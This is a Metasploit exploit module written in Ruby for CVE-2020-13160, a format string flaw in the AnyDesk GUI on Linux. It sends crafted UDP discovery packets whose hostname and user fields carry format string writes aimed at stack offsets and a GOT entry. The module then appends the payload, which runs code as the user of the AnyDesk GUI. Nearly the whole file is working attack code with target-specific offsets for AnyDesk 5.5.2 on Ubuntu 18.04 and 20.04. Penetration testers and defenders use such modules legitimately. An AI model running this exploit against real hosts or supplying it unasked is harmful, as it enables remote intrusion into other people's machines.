##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AnyDesk GUI Format String Write',
        'Description' => %q{
          The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially
          crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the
          discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On
          successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.
        },
        'Author' => [
          'scryh', # vulnerability discovery and original exploit
          'Spencer McIntyre' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2020-13160' ],
          [ 'URL', 'https://devel0pment.de/?p=1881' ]
        ],
        'Payload' => {
          'Space' => 512,
          'BadChars' => "\x00\x25\x26"
        },
        'Platform' => 'linux',
        'Arch' => ARCH_X64,
        'DefaultOptions' => {
          'CPORT' => 50001,
          'PrependFork' => true,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ SCREEN_EFFECTS ],
          'Reliability' => [ UNRELIABLE_SESSION ]
        },
        'Targets' => [
          [
            'Anydesk 5.5.2 Ubuntu 20.04 x64',
            { 'stkref1' => 109, 'stkref2' => 125, 'time@got.plt' => 0x119ddc0 - 139 }
          ],
          [
            'Anydesk 5.5.2 Ubuntu 18.04 x64',
            { 'stkref1' => 93, 'stkref2' => 165, 'time@got.plt' => 0x119ddc0 - 135 }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-06-16'
      )
    )

    register_options([
      Opt::RPORT(50001)
    ])
    register_advanced_options([
      OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),
      OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50001 ])
    ])
  end

  def build_discover_packet(hn, user, inf, func)
    buf = "\x3e\xd1\x01"
    buf << [4919].pack('N')
    buf << [0].pack('N')
    buf << "\x02\x01" # os
    buf << [hn.length].pack('N') << hn
    buf << [user.length].pack('N') << user
    buf << [0].pack('N')
    buf << [inf.length].pack('N') << inf
    buf << "\x00"
    buf << [func.length].pack('N') << func
    buf << "\x02\xc3\x51"
  end

  def discover
    server_sock = Rex::Socket::Udp.create(
      'LocalHost' => srvhost,
      'LocalPort' => datastore['SRVPORT'],
      'Context' => {
        'Msf' => framework,
        'MsfExploit' => self
      }
    )

    client_sock = connect_udp(false, {
      'RPORT' => datastore['RPORT'],
      'CPORT' => 0
    })
    client_sock.put(build_discover_packet(rand_text_alpha(rand(5..9)), rand_text_alpha(rand(5..9)), 'ad', 'main'))

    timeout = 10
    while timeout > 0
      start_time = Time.now
      response, host, = server_sock.recvfrom(8192, timeout)
      break if host == datastore['RHOST']

      timeout = Time.now - start_time
    end

    return nil unless response[0..2].bytes == [0x3e, 0xd1, 0x01]
    return nil unless response[11] == "\x02"

    disconnect_udp(client_sock)
    server_sock.close

    hostname = response[17..17 + response[13..16].unpack1('N')]
    report_host(host: datastore['RHOST'], name: hostname)

    {
      hostname: hostname,
      os: response[12] == "\x02" ? :linux : nil
    }
  end

  def check
    info = discover
    return CheckCode::Safe if info.nil?

    CheckCode::Detected("Remote hostname: #{info[:hostname]}")
  end

  def bad_unicode
    [ rand(0x80..0x90), rand(0..0xff) ].pack('CC')
  end

  def exploit
    info = discover
    fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?
    fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux

    print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")

    connect_udp

    hn = "#{bad_unicode}%1$*1$x%18x%#{target['stkref2']}$ln"
    hn << payload.encoded
    udp_sock.put(build_discover_packet(hn, "#{bad_unicode}%#{target['time@got.plt']}x%#{target['stkref1']}$ln", 'ad', 'main'))
    print_status('Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...')
  ensure
    disconnect_udp
  end
end
